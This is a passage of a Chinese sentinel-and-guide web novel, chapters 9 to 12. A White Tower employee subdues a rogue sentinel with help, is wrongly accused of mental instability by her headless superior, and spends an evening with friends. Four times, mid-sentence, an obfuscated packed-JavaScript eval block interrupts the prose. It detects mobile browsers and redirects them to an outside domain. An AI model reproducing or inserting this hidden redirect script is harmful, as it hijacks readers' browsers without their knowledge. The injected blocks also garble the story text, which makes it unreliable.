而且差不多了吧?!要是一个二型哨兵和向导的组合在她下楼这么长时间,并且和这只死猫闹出这么大动静的追逐当中一点都没有发觉,那真是别干了全都卷铺盖走人吧! 所以怎么还不来? 还不来! 还不来吗?!?! 心中骂着,她突然感觉腰上一紧,然后整个人就不受控制被向后扯去。力度之可怕,她甚至听见了自己肋骨有些不堪重负呻丨吟和内脏被挤压到一起发出的悲鸣。 是那条尾巴。 它正在以一种猫科尾巴不应该有的灵活性缠在她的腰上,显然这位失控哨兵已经对这种追逐战感到了厌烦,他用一只猫的前爪踩住元翊的腿,另一只爪子踩着她的肚子,不太舒服,但也没有到会让人想要吐出内脏的地步。 哨兵俯下来了。 人的部分在这种时候带来的压迫感比兽的部分要更强,他的手承载元翊的两侧,厚重的头发先一步垂落下来,如遮光的帐,落在人的面上颈上痒痒的。他就撑在那里,用壮硕的手臂,用宽厚的肩膀,甚至用他垂落的头发将元翊与光和天空隔开。 像是对视。 虽然看不见他的眼睛。 不知道过了多久,可能很长可能很短,元翊看见他嗅了嗅鼻子。 但他依然没有更多的动作,没有松开她,也没有靠近。 惊恐之中,她同样意识到,这是一个绝佳的检查机会。 她不可能有更近距离确认这位哨兵头面部异变状况的机会了,虽然不知道为什么他突然停下了,但是这总归是一件好事,他现在没有攻击的倾向。 咬了咬牙,元翊下意识的吞咽了一下,然后缓慢的伸出没有被禁锢住的手。 查看的时候不能目标明确的立刻掀开面部的遮挡,这种往往会激起哨兵的警惕,进而造成一些不理想的后果。为防止反抗不能立刻掀开遮挡眼部的头发,为节省时间也不能从锁骨更下方的部位向上探索,脖颈是致命处,贸然触碰也会激怒对方。 于是她选择了稍微没那么敏感的下颌作为接触点。 僵硬的手臂缓慢地伸过去,冰凉的指腹接触到哨兵的下颌。 他没反抗,是个好现象。 于是更多的手指慢慢贴上去,她开始缓慢的向上推。 下颌,然后应该是脸颊。元翊有意避开了敏感的嘴唇,哨兵的牙齿能咬断493钢,咬断一两根人类的骨头手到擒来。 好好好,就这样保持不要动。 极端的专注下,她可能过了段时间才感觉到自己的脸痒痒的,并且在更长的一段时间之后,她才反应过来,这位哨兵正在用他的手背蹭她的脸颊。 动作并不粗暴,甚至没有用更灵活的手掌。 他正在来回放松的手背磨蹭她的脸颊,那里因为紧紧咬着的牙齿而略显紧绷。察觉到这一点,元翊立刻松开牙关。 并且在哨兵做其他事情的时候试图加快向上的速度。 哨兵喉咙里发出一声低吼,并且偏过头衔住了她左手的两根手指,高温和湿热几乎一下让人炸起来了,元翊好像已经感受到了手指断裂的痛——直到有更柔软的东西擦过指尖,在切实的感受到指尖触感,她才逐渐确信手指与她依然互为一体。 他显然找到了比人类的脸颊更有趣的玩具,可以品尝,也可以短暂的追逐。他很快就乐在其中。 整个左手变得湿淋淋的,偶尔还会因为尖牙轻轻重重的啃咬舔吮传来一点痛痒,感觉已经不是十分明显,因为她觉得自己举着的手已经很麻了。元翊觉得自己已经暂时想不到什么事情是比现在更加糟糕的了,唯一值得庆幸的是他已经忘记了人类有两只手这件事。 奉献出一只左手吸引他的注意力之后,元翊用右手成功的揭开了遮挡物。 双目完好,额头完好,无新增组织,聚焦情况不好,视力情况难以辨明。 挽救可能很大。 再拖一会儿。 现在渐渐冷静下来后,关于这个任务的另外一些信息也能反推出来,林和程南洲不过来肯定不可能因为没察觉到或者不想来,他们必然有更要紧的事项要优先处理,况且一个失控的一型哨兵不需要同时出动二型哨兵和向导。能让二型哨兵出动的这类型任务至少得是三个一型哨兵同时失控,想到也在,说明其他的失控的一型哨兵中可能有人正在潮热期。 这类型任务大部分是静默任务,基本要求是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606544|172065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽可能无声解决,不要让其他人察觉到。 想要独自制服失控哨兵是不可能了,她需要做的是尽可能拖延时间,然后尽可能让对方就在固定地点活动,并且不要给其他人带去危险——这里是居民区啊,为什么要把抓捕地点定在这里。 他们一定很快就能解决掉其他的事情,然后赶过来,一定的。 但可惜,她与失控哨兵之间的微妙平衡很快就被打破了。或者说,可能被吸引走注意力好方便他人达成目的并不只是一方。 当元翊意识到原本直直撑在自己身边的手臂不知何时已经从手掌支撑变成了手肘支撑的时候,哨兵已经靠得很近了。他终于将她已经被尖牙戳的坑坑洼洼并且湿淋淋的左手从利齿之间解放了出来,毫无顾忌将它贴在自己的脸颊上,元翊觉得自己都能闻到那只手已经被舔得臭臭的了,但是哨兵看起来毫不在意。 甚至面容看起来有点满意。 他缓缓地俯下来,靠近看起来快缩进地里的元翊,似乎想要用鼻尖去闻嗅或者磨蹭她发红发烫的耳朵。 然后下一秒急速向后退去! 是林。二型哨兵一只手正扯着失控哨兵的原本正甩来甩去的长尾巴,被向后甩飞起来的时候这位哨兵看起来并没有什么防备,但他很快就调整好状态。这位哨兵下意识的想要将心仪的玩具一起带走,然而那双手臂收紧之前,另一个人出现了。 程南洲:“松手!” 他不知道从哪冒出来,与哨兵短暂的角力,然后在他被林砸到地上之前将元翊剥离了那双臂膀的桎梏,一个后翻与哨兵脱离开。 元翊正在大口呼吸,过度紧张突然松弛下来甚至让她感觉眼前花得有点看不到了,当她下意识的寻找光源时,眼前突然黑下来。 程南洲解开了自己外套的扣子,将她裹了进去。 “稍微等一下。”他说:“再等几秒。好,可以了。” 他将遮蔽视线的衣物松开。 失控的哨兵已经彻底被制服,她没听见什么可怕的声音,睁开眼睛后哨兵已经软软的躺在地上,模样非常安详。那条尾巴的毛发走向还能看出一些曾被暴力抓握过的痕迹,但总体来说,他看起来非常健全,现场看起来也很全年龄向。 没有出现任何限制级场面。 元翊花了一些功夫才能重新自己站起来,她嘴唇动了动,搞不清楚是想骂人、责备他们来得太晚还是想询问更多的任务相关情况,但是最终,她闭上眼咬了咬牙。 然后说:“任务应该结束了,我可以回家了吧。” 她不会问任何她想知道但不应该知道的事情,也不会去了解任何可能会给自己带来麻烦的东西,只要这样就能保持住她现在平静的生活。 然而这句话并没有得到回答。 元翊:“......别告诉我还有其他工作需要我协助,为了维持白塔工作人员身心健康,我现在非常需要休息。” “我知道我知道,让你做这样危险的事情你肯定累坏了。”程南洲说,他看起来很难以启齿的样子,抽搐了一会儿,还是鼓起勇气。 “对不起。”他说:“但是可能,有一段时间你得在白塔生活了。” 元翊:......? 什么意思? 意思就是之前我们可能在你的家里和一个失控哨兵发生了战斗,这名哨兵的精神体携带剧毒,在危险排查结束之前,你不能回家了。 9. 09 严重缺乏睡眠会令人头重脚轻,元翊觉得自己一直在往一边歪,脖子可能没办法承受脑袋的重量,这让她不得不一直用另一只手辅助支撑。如果可以的话她真希望自己现在是在白塔的宿舍里休息,而不是在领导办公室跟一位无头骑士大眼瞪小眼。 噢说错了,都无头骑士了哪来的眼呢,真是滑稽。 心里想着反正他也看不见,翻了两个不太委婉的白眼。 唉,疲惫竟然让她连翻白眼都只能打着哈欠翻白眼。 【你为什么萎靡不振?】 办公桌后,领导的姿势像碇司令,除了无头,除了举着一张巨大的纸板,那个问号尤其巨大,很难不怀疑他是故意的。 元翊:“……因为昨天我参与了外勤工作。” 【哦?】 又是巨大的问号,然后是: 【详细说说】 说说说,说你个头啊,你不会自己去看别人交的情况说明啊。 噢不好意思忘记了,你现在没头,看不了。 滑稽。 目光短暂的在领导空空如也的肩膀上方停顿了一下,然后她想起盯着别人的短处看是极不礼貌的,这位无头骑士今天情绪似乎十分高涨,并且求知欲空前旺盛。这有点奇怪,因为一直以来这位领导看起来平等的讨厌所有生物和非生物,虽然总是一副灯红酒绿的样子闪着热情又炫彩的光,但是事实上他根本没有任何“大爷来玩啊”的意思和想法。 他只会对一些蠢货视而不见,对一些贱人询问“你什么时候去死”。 元翊很难判断自己属于这两种哪一种,哪一种好像都很糟糕,但非要选的话,她觉得被视而不见好一点。 上述事实没有任何夸张手法,他看起来像是用所有恨这个世界的力量勉力维生,并且可能他本人在“恨世界”这一项上就已经用尽了大部分力量,所以在日常生活当中常常显得没什么蓬勃的求生欲或者战斗欲。 二型哨兵在一些方面来看可以算是一种武器,武器没有战斗欲,某种程度上来说可能算一种残次品。 ……那现在他算是什么?残残次品?毕竟你看嘛,本来就缺乏战斗欲,现在更是连头都没了。 思绪越飞越远,直到领导屈起指节敲了敲桌子元翊才猛地回过神来,赶快把自己脸上的笑压下去,咳嗽了两声假装无事发生。接着,她看见那个刚刚敲过桌面的手指又弹了两下那块纸板,提醒她还没有回答最开始的问题。 “具体情况我其实不是很清楚。”元翊说:“其实你可以播放一下程南洲的任务报告,上面把关于昨天外勤任务的细节写得非常详细具体。” 纸板放下了。 领导又摆出碇司令的姿势,不说话,像睡着了一样。 为了防止他真的睡着,元翊忍不住凑近了点观察,非常小声的:“领导你睡着了?” 【醒着】 “那好,那没别的事我先走了。” 【稍等】 【你如此信任那位向导】他敲了敲纸板:【你自己看过那份报告吗?】 当然没有了,昨天她听见房屋被毁的消息之后惊怒交加之下晕过去了,醒来就是在白塔的宿舍里,接着就是脑壳痛的接到了领导的问候,站到这里,她哪有时间去看啊。 【我看了】 【有几处我认为应当需要与你核实】 接着,领导从他抽屉取出最上面的一份纸质版,他翻到有勾画痕迹的那一页,让元翊看,虽然他现在没有头了,但看起来仍然像是正在逼视她一样。 元翊看了两遍,报告里除了常规叙述之外,程南洲着重加入了一些元翊对此次任务的贡献,可能是一些浪漫夸张修辞手法,一些事情她都得仔细确认一下她是否真的这样做过。 比如“为向导完成工作提供物质和精神保障”,元翊想了半天觉得可能是在说她同意程南洲在家里吃饭。 回味了一下程南洲关于遣词造句方面的创造力,点了点头:“没错,大概是这样,但是是我默许的,我已经猜到向导频繁出现可能是需要我协助某些外勤任务,并且默认自己会参与此次任务了。” 她没说谎,虽然干活之前人肯定都会抗拒厌恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606545|172065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,觉得“干嘛不去找别人,真是烦死了”,干活之后都会凶巴巴的的告诉别人“以后不许找我了!”之类的话,但是真正干起活来,元翊从来不会临阵脱逃或者糊弄了事……好吧,有些文书工作她确实会糊弄了事,但是实务工作和外勤工作她从来不会的。 但领导显然不打算就这样放过她。 【那你的意思是,你在明知的情况下允许可能会让你丧命的危险发生?】 他的身体前倾了一些:【你对于自己无法战胜一型哨兵一事有什么异议吗?】 元翊:啊? “我当然知道我没办法战胜一型哨兵啊。”她一头雾水,但很快明白过来:“你是想探究我这样做的原因吗?” 【我需要核实你是否受到胁迫】 啊?什么任务需要哨兵向导胁迫一个普通人参与啊,这也有点太过离谱了吧。 “没有胁迫,我只是遵循了白塔的规定。”元翊耸耸肩:“白塔工作人员有义务对外勤任务进行配合,听从向导或哨兵的指挥。我是白塔工作人员,我只是做了我应该做的。” 【这是袒护?】 “这是实情。”这话听起来怪怪的,好像迫不及待要归罪别人一样,她有点奇怪的看了他一眼:“你今天怪怪的。” 领导很长时间没有举牌。 元翊觉得以及可能后脖子都有点出汗了,领导又一次把牌子举起来。 【不】 【这是袒护】 他非常笃定。 【出现异常的恐怕另有其人】 【人类丧失对死亡的恐惧有两种可能,一种是受到污染,污染症状让其认为生命本身是需要治愈的疾病,另一种则是在过量压力之下,产生了精神类疾病】 【今天凌晨,你被人裹挟进去白塔时并未触发警报,并且直到现在我也并未感到异常,因此更可能是后者】 【同时我确信你日常的工作应当不足以令你感到病态压力,所以原因一定另有其人】 元翊:啊? 这、怎么回事,怎么就给她确诊精神病了? 10. 10 在白塔,精神病是一种比较口语化的叫法,书面一点的说法应该是“精神不稳”。因为众所周知,白塔其实是某种精神疾病收容装置,所以在谈话当中说对方精神病在大部分时候其实不是骂人的话,而是暖心的关怀或者阐述事实。 成为精神病可以获得一些疗养假期,在超五星级酒店的配置,每天不用工作,只需要度假休闲疗养,等重新恢复过来之后再去上班就行了。 五星级酒店,免费疗养。 多么美好啊。 谁不想在上班时间去度假呢。 元翊,慌忙反驳:“不是的领导,我不是精神病,实际说起来我其实觉得你们更、不是,那个,我的意思是我不是精神病啊!” ↑哦,看来确实是有一位不愿意度假休息的人。 在她手忙脚乱的想要论证她身心健康的时候,领导已经站起来了。他以一种和普通人没什么区别的速度缓慢从桌子后面走出,来到元翊面前,接着像拿一个公文包一样提起她。 将写着【既然你如此熟悉白塔规定,那想必你也知道白塔规定不许用绰号称呼向导哨兵,或许你忘记了,我的名字并不是领导】的纸板给元翊看了一眼后,把她就这样捞着向外走去。 元翊:......??? 不是你有什么毛病啊,这个是我们现在说的问题吗?! 领导不是你的名字,但是你确实是领导啊,你懂我的意思吗?! 语言已经变得无力了,元翊开始通过一些行为彰显她捍卫自己名誉的决心——虽然杯水车薪,但她绝不能就这样被污蔑为精神病。 其实原因也非常简单,在白塔被确诊为“精神病”意味着对污染的抗性减退,感染和异变可能性变高,即便在精神稳定之后也会有较长观察期。在观察期内一般不会给该个体委派什么重要工作,她依然可以处于一种“休息”的状态。 没有工作,没有压力。 也没有钱。 进入疗养院的时候是有钱的,白塔不仅承担了疗养费用,更是全额发放工资,保证疗养人员正常生活,但是当你从疗养院里出来之后,那不好意思,你得自己养活自己了,白塔优待伤员,但是不养闲人,并且现在还不能确定你到底能不能承担工作,所以你得自己想办法找活干。 不找活干也没事,肯定饿不死,但是你也别想过得多快乐就是了。 元翊工作六年,自己小有积蓄,虽然不愁这段考验期如何度过,但是一方面是因为她明明就没有精神病,全是这个砍脑壳的领导拍脑袋拍出来的,另一方面也更重要的是,她现在可是“通过高级驾驶员考试、尚在考察期”的高级驾驶员啊! 你知道高级驾驶员的考试多难通过吗?!你知道为了考过这个考试她掉了多少头发吗?!你知道通过考试之后在一年考察期内还要通过工作证明自己“确能胜任”就必要每月至少出两次特派任务吗?!你知道想从高级驾驶员继续考特级驾驶员需要三年内评价都是“超优”吗?! 你什么都不知道,你只知道空口白牙污蔑一个无辜的上进驾驶员是精神病,截断别人的上进之路! 她气急败坏的拼命挣扎,但是箍着腰把她捞起来的手臂就像是焊死在她身上一样,根本就连一点摇动都没有,而且该死的黑暗哨兵身上和铁一样硬,硌得她好痛! 人与人不可同日而语,有些人双脚离开地面病毒就关闭了,聪明大脑重新占领高地了,但是元翊不同,她双脚突然离开地面时就会像被捞上岸的鱼一样翻腾起来。 甚至口不择言:“放开我啊你这个精神病砍脑壳黑暗哨兵,你这样污蔑别人算什么领导啊!” 领导充耳不闻。 这个时候领导......这位二型哨兵行动力突然就回复了正常哨兵该有的水平,路过的景色变成了线条,甚至因为行动速度太快,元翊觉得自己短暂的窒息了一会儿。 无论怎么不情愿,总之,见到正在白塔坐班的医生了。 这位医生上班的十四接诊室是没有门的,这不奇怪,白塔的医疗区好多诊室都没门,因为有时候会被来得急匆匆的哨兵向导随手推飞。重新装又花钱又麻烦,被推飞的门有的时候还有可能会伤人,没有就没有吧,虽然黄患天的时候可能没有门会非常糟糕,但是往好处想,又不是每天都是黄患。 砍脑壳领导......说错了,应该是砍脑壳二型哨兵将元翊举重若轻的放到医生面前的诊疗椅上,拍了拍她因为挣扎变得褶皱的衣服后手也并没有离开,而是轻轻按在元翊的肩膀上,像是怕她突然失控或者逃跑,手势示意医生可以开始诊断了。 医生看看二型哨兵,看看元翊,又看看二型哨兵,然后往前挪了挪,略小声的问:“你有哪里不舒服吗?” 元翊狠狠剜了一眼没头的砍脑壳哨兵,用力把那只搭在他肩膀上的手推走,平复了一下心情,平静的回答:“我没有不舒服。我觉得不舒服的另有其人。” 医生:“我看也是。” 她简单给元翊查体,看看眼睛看看舌头,问了两个日常问题,甚至还问了一下她们三个好久没有一起聚聚了下午要不要一起吃饭,然后就宣布元翊“身心健康”了。 然后让她起来,让领导过来坐下。 医生:“正好到了健康信息更新的时间,接下来我将占用您几分钟时间......哎怎么就要走啊!” 领导根本没听完医生说什么,他本来以为让他坐下是要给他说一些元翊后续注意事项,没想到这位庸医直接搞错了治疗对象,简直是个蠢货。 他一点也不愿意把时间浪费给蠢货。 但有人并不同意他的擅自离开。 元翊:走?你想来就来想走就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606546|172065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走?想都别想! 她眼疾手快,一把拉住领导手腕,比起挽留更像是拔河,扎着马步毛驴一样往后仰。 “坐下吧你!”她略显狰狞:“还污蔑我,你自己好好检查一下!” 为了防止他突然逃跑,她也像之前领导那样,用手按着他的肩膀。 医生开始问问题。 医生:“最近身体状况如何?” 领导:静默。 医生记录,继续问:“您对我的问题能听清楚吗?” 领导:静默。 元翊看不下去了,她悄悄提醒了一句医生给张纸什么的,他现在是通过手写跟别人交流。 医生看了她一眼,惊讶又飞快的,然后记录。这次记录的时间长一点,等写完后,继续问:“好的。非飒,元翊说的是真实情况吗?” 名为非飒的无头二型哨兵:“......是。” 元翊:?! 元翊:“你能说话?你头不是拿去修了吗?” 而且这个声音怎么有点耳熟,让人想起一些晦气的东西??? “修?”医生愣了一下,“没有修这回事噢,最初登记的时候非飒哨兵的头部异变形态就是不可见的,换句句话说他看起来一直都是无头哨兵。您对此有什么要解释的吗,哨兵?” 领导又沉默了。 之后就没有什么好确认的了。二型哨兵对特定对象刻意隐瞒了自身状态,这算是欺骗行为的一种。因为出现了意义不明的欺骗,且哨兵本人始终保持沉默,医生飞快的开了一张疗养单子,让非飒赶快住院治疗。 领导没接。 从肢体上看不出来他现在情绪如何,但这种莫名的审视感让人突然紧张起来。 不知道是不是错觉,元翊觉得气氛好像变得有点糟糕,领导可能对于自己的私事被人突然揭穿一事有点没面子,所以心情不好。 其实她也有点尴尬,一方面是因为知道了别人的秘密,另一方面这个秘密间接是因为她才被戳破的,实在让人不知该说什么。 于是她只能小声保证:“我不会把这件事情告诉别人的。” 领导还是沉默。 他好像对自己的朋友产生了一线敌意,但医生已经习惯了,因为每个被告知需要入院治疗的人都是这样的反应,她已经从最初的紧张变成了“有本事打死我,没本事去住院”。 在沉默中短暂的对峙了一段时间后,医生突然又想起了一件事情。 “你现在来住院挺好的。”她说:“今天凌晨的时候正好还有几位新来的,你们一起疗养,有个伴没那么孤单。” 领导:“......凌晨?” “对啊。”医生说:“和元翊他们一起回来的,外勤对象。” 哦,原来是他们。 领导:“我同意住院。” 11. 11 把领导送进精神病院、和医生确定了今天下班后三人小聚一事后,今天就没什么大事了......这句话怎么有点怪,听起来简直像是她本来就打算把送领导进精神病院一样。 不过能把领导送进精神病院确实是一件大喜事,事实上她觉得以领导的精神状态,他早该进精神病院疗养一段时间了。他成为元翊的领导没多长时间,但是成为领导的原因却十分可笑。 白塔规定了二型哨兵会通过一些特殊方式来强化自己的稳定性,参加工作六年,元翊已经见过许多二型哨兵,有人做手工,有人学技术,有人吃东西,有人成为色孽的信徒,但是她从来没见过有人把“管理他人”当做是稳定自己手段。 从来没有。 所以当这位领导突然空降下来的时候,元翊整个人都被一种难以言喻的怪诞所包围。 她觉得白塔可能快完蛋了。 “可能不止白塔。”医生老气横秋的说:“我觉得人类快完蛋了。” 档案室妹妹:“我不许你这么说,起码等到我的兔子老死,也就是五六七八九十年的事,十年后爱怎么完蛋怎么完蛋吧。” 说完,两人不约而同看向了元翊:“你怎么看,司机,你觉得什么时候完蛋比较合适?” 元翊没有立刻回答这个问题。她用勺子垮了一勺刚端上来,热气和香气一起挥发的炒饭,圆润香甜的米饭略带硬干,混杂这蛋花、酸豆角、肉末、腊肉和时蔬菜叶,因为放了油的缘故,灯光下看起来甚至有点闪闪发光的感觉。 炒饭送进嘴里,咀嚼,蛋花的香气、酸豆角的爽口,肉末的软糯和腊肉的咸香在口腔当中混合,在米饭的的衬托下更显美味。盘子里冒尖尖的炒饭随着勺子挖的动作塌陷下去一点,元翊把那口饭吞下去,给出了自己的答案。 她说:“就不完蛋。” 这个答案意料之中,两位朋友露出略显钦佩的表情,向她竖了个大拇指:“不愧是你,司机,没人比你更想活!我们最喜欢你的就是你这种连调侃都不调侃的认真生活心态,表扬你!” 此时她们正在三人非常喜欢的一家小餐馆里,价格不贵,但是味道很不错。 美食、朋友、略显嘈杂的环境可以快速的慰藉疲惫的精神。一盘炒饭,两样小菜,三杯温度不同的饮料,玻璃杯叮当碰在一起,大家庆祝又度过了平静的一天。 “其实我最近稍微有点苦恼。”孟真仰在椅子靠背上叹气:“我再过两个月就顺利通过白塔的考察期了,今天已经有人来要跟我确定优先名单的人员了。” “我现在只有一个名额,但是我家里父母双全,甚至还有兄弟姐妹,实在不知道应该给谁用。”尤其是在切实经历过从即将沦陷的区域撤离时的恐慌无助后,她更明白白塔给所有通过考察的工作人员配备的“发生意外情况可以有限安全撤离”的名额有多么宝贵。 有时候先走一步真的能跑过生死的分界点,慢一步真的很可怕。 她捧着热橙汁苦恼地叹气:“真想不到有的时候健在的家人太多也会成为一种烦恼。” 孟真:“而且档案室这种地方几乎也没什么高级职称或者立功机会,我可能十年之内都拿不到第二个名额了。哈哈,更完蛋。” 白圆希咂了一口冰可乐,爱莫能助的耸肩:“这方面我就帮不了你了,一是我孤家寡人一个确实没有机会享受这种奢侈的烦恼,二是我在医疗区上班倒是八年了,但是手里也就一个名额。” 说完她在桌子下面用脚尖戳戳元翊:“你给咱妹分享分享经验?哎对了你现在手里有几个名额啊......我算算啊,正式加入白塔一个,立功一次奖励一个,等你考到特级执照,那就又能再加一个了吧。” 元翊:“对,所以从今年开始我必须连拿三年特优评价,第四年才能有考试资格。” 说到这个,她就忍不住咬牙切齿,三年考评特优,最起码的要求就是要求考评对象身心健康——那个砍脑壳二型哨兵差点就把她今年的特优毁掉了! 想起就生气,她赶快喝了一杯凉白开把自己劝住了。 “真羡慕你。”孟真叹气:“再要四年你家人就全都能进入优先名单了,早知道我也应该参加驾驶员培训、哦忘了,我参加不了,人家当时压根没选上我,嗐。” “没选上也不全是坏事啊。”元翊平静的夹菜咀嚼:“你现在至少还能联系上两个当时白塔大学认识的人,不像我,就只剩下两个能联系,有一个还变成狗了,跟她根本说不上话。” 孟真,苦恼的点头:“哦,这倒是,忘记考虑客观情况了。” 白圆希,欲言又止:“这种时候地狱笑话出现好像不太合适,但是又好像很合适。总之我们干一杯,随便为什么。” 她们三个碰了一下。 电子屏幕上画面变换,是老板更换了频道,新闻上正在说南艾希利特区正式宣布成为沦陷区,该地区幸存人员暂时撤往北艾希利特区。画面不是很清晰,偶尔闪过一些怪异的污染生物,元翊三人无声的看着白塔播报的新闻。 “又一个啊。”白圆希露出一个牙酸的表情:“虽然我觉得人类快完蛋了,但说真的我不想以这种方式完蛋。” 孟真在桌子下面踢她:“知足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606547|172065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧你,至少你还站在你自己家里呢。” 孟真和元翊的老家已经和南艾希利特区一样被宣布成为沦陷区了。 她看着电子屏,脸色看起来有些惊惧痛苦,悄悄地看了一眼一边看新闻一边若无其事吃菜的元翊,又看了一眼面露不忍的孟真,她悄悄地说:“我无所谓怎么完蛋......我想和我的兔子一起回家,我们一家人一起完蛋。” “啧。” 嫌弃的咋舌。 元翊恨铁不成钢的看了自己这两位没骨头的朋友一会儿,举起杯子和她们各碰了一下。 “有点出息啊,两位老伙计。”她说:“该完蛋的是别的东西,咱们就不完蛋。” · 有些话说起容易做起来难。 回到白塔宿舍里,元翊躺在床上的时候还是忍不住想起刚刚看到的新闻。即便有向导和哨兵,人类可以活动的区域还是肉眼可见的在减少,好像在这场斗争当中,失败已经成了一个必定的结果。 ......真讨厌。 她不喜欢这样。 在她陷入更深的颓丧之前,她突然听见什么东西敲了敲自己的窗子。 哒哒 哒哒 她向窗子走去,看看是哪位半夜不睡觉过来敲她位于十四楼的宿舍窗户。 划拉一下拉开窗帘,她看见窗边正站着一位......巨嘴鸟? 配色活泼鲜亮的小鸟停下在她的窗台上,歪着头看着她,然后用巨大的嘴巴发出一些咯啦啦啦啦的声音。 它嘴里叼着一张纸条,在元翊打开窗子后,它拍拍翅膀飞到她的桌子上,将那张小纸条放下。 元翊拿起来。 【我感受到一些苦涩的味道。】 【如果您需要帮助,请让它进入您的房间,随后我会立刻赶到的。】 还没从沮丧当中完全清醒过来的元翊花了点时间来理解最后那句话。 什么叫我会立刻赶到? 什么叫进入我的房间? 我刚打开窗子它就飞进来了,这算什么?钓鱼执法? 元翊:“我不需要帮助,你现在马上出去。” 巨嘴鸟站在桌子上一动不动,用无辜的眼神表示它并不懂人话。 在她用眼刀刺杀那只臭鸟的时候,礼貌的敲门声响起。如果敲门声出现的时间不是晚上十一点五十,想必它会显得更加礼貌。 敲门声响起的时候,元翊已经完全从情绪当中恢复过来了。 嗨呀!跟这群死东西真是一点都不能松懈,稍微松懈下来就会发生这种奇怪的事情! 12. 12 半夜三更敲门声,扣扣扣,扣扣扣,三声复三声。 无人应答。 出色的战士都知道,战局未明敌我悬殊,贸然增加敌人数量是不智之举,因此元翊像没听见一样,她专心致志和巨嘴鸟对峙。本着先礼后兵的态度,她先尝试语言交涉,果不其然无用,然后就开始进行战斗,试图把该鸟扔出窗外。然而这死鸟灵活的不得了,果然空对地就是占尽优势,它从这里飞到那里,又从那里飞到这里,小小的房间里把元翊耍成陀螺。 真是一场酣畅淋漓的追逐战啊! 追逐战结束的时间是十二点半,前一天熬了个大夜,这位高级驾驶员要对自己的身心负责,于是她最后一次扶着墙,喘着气,恨恨的用手指点了点站在柜子顶上的巨嘴鸟,该鸟又发出了咯啦啦啦啦的声音,不知道是不是在嘲笑别人。 “我不管你了。”她一副自暴自弃的样子冲了冲鼻子,然后敲了敲柜子,非常认真道:“诶,下来。” 外面的敲门声暂时停止了,巨嘴鸟从柜子顶上探出头来,小眼睛里还是很清澈,但看起来没那么愚蠢了。小动物很会察言观色,它扑棱棱的飞到元翊的桌子上,仰头看着她。元翊拉开椅子坐下,十分正色道:“你是鸟,你进来,我可以睁一只眼闭一只眼,但是如果门外面的人进来,我不能容忍。” 小鸟歪歪头。 元翊:“如果你同意,我们就达成共识,我会打开窗户,你想离开的时候可以尽管离开。如果你不同意,你尽可以破门而入,做你想做的任何事。但我话放在这里,只要我能活到明天,我一定告到中央,到时候你的爆炸项圈也得启动,不划算,你觉得呢。” 巨嘴鸟咯啦啦啦啦。 听起来非常着急的为自己的目的辩驳,大嘴衔起那张已经被人遗忘的纸条。 它重新把纸条交到元翊的手里,急忙退后两步,委屈的扇了扇翅膀,看着她。可能是想表达自己并无恶意只是闻到苦苦的味道所以想要施以援手的意思。 但是元翊坚持自己的意见。她说:“我并没有什么需要帮助的事情,我一开始就告诉你了。” 元翊:“那我们算是达成合意了?” 巨嘴鸟发出了像是叹气一样的声音,然后走近两步,点头。 说实话这个动作在它身上略显搞笑,因为它的嘴太长,显得有点头重脚轻的样子。而且达成合意之后,有人在场一般应该握握手,但是面对一只鸟,元翊感觉多少有点无处下手,最后她一脸正经地握了握巨嘴鸟的大嘴。 “好。”她说:“那晚安,我要开始睡觉了。” 说完,她打开窗户,自顾自拿了衣服准备去洗手间洗漱然后睡觉,洗澡的时候好像听到一声拆迁一样的巨响,后面就没有声音了。元翊推测可能是出了什么事情,所以白塔开了噪声屏蔽,因为一瞬间所有的声音都消失了,她正在洗澡,突然之间连花洒流水的声音都消失了,这显然不是自然现象。 明天去问问白圆希好了,最开始装修拆迁的声音传来方向有点像是医疗区。 等她换好衣服,一边擦头发一边出来,巨嘴鸟已经不知所踪。它看起来从打开的窗户离开了,这很好,虽然元翊确实做好了今天要和一位精神体共度夜晚的准备,但是她愿意走显然更让人高兴。 把自己扔到床上,她躺着休息了一会儿,却并没有立刻睡觉。 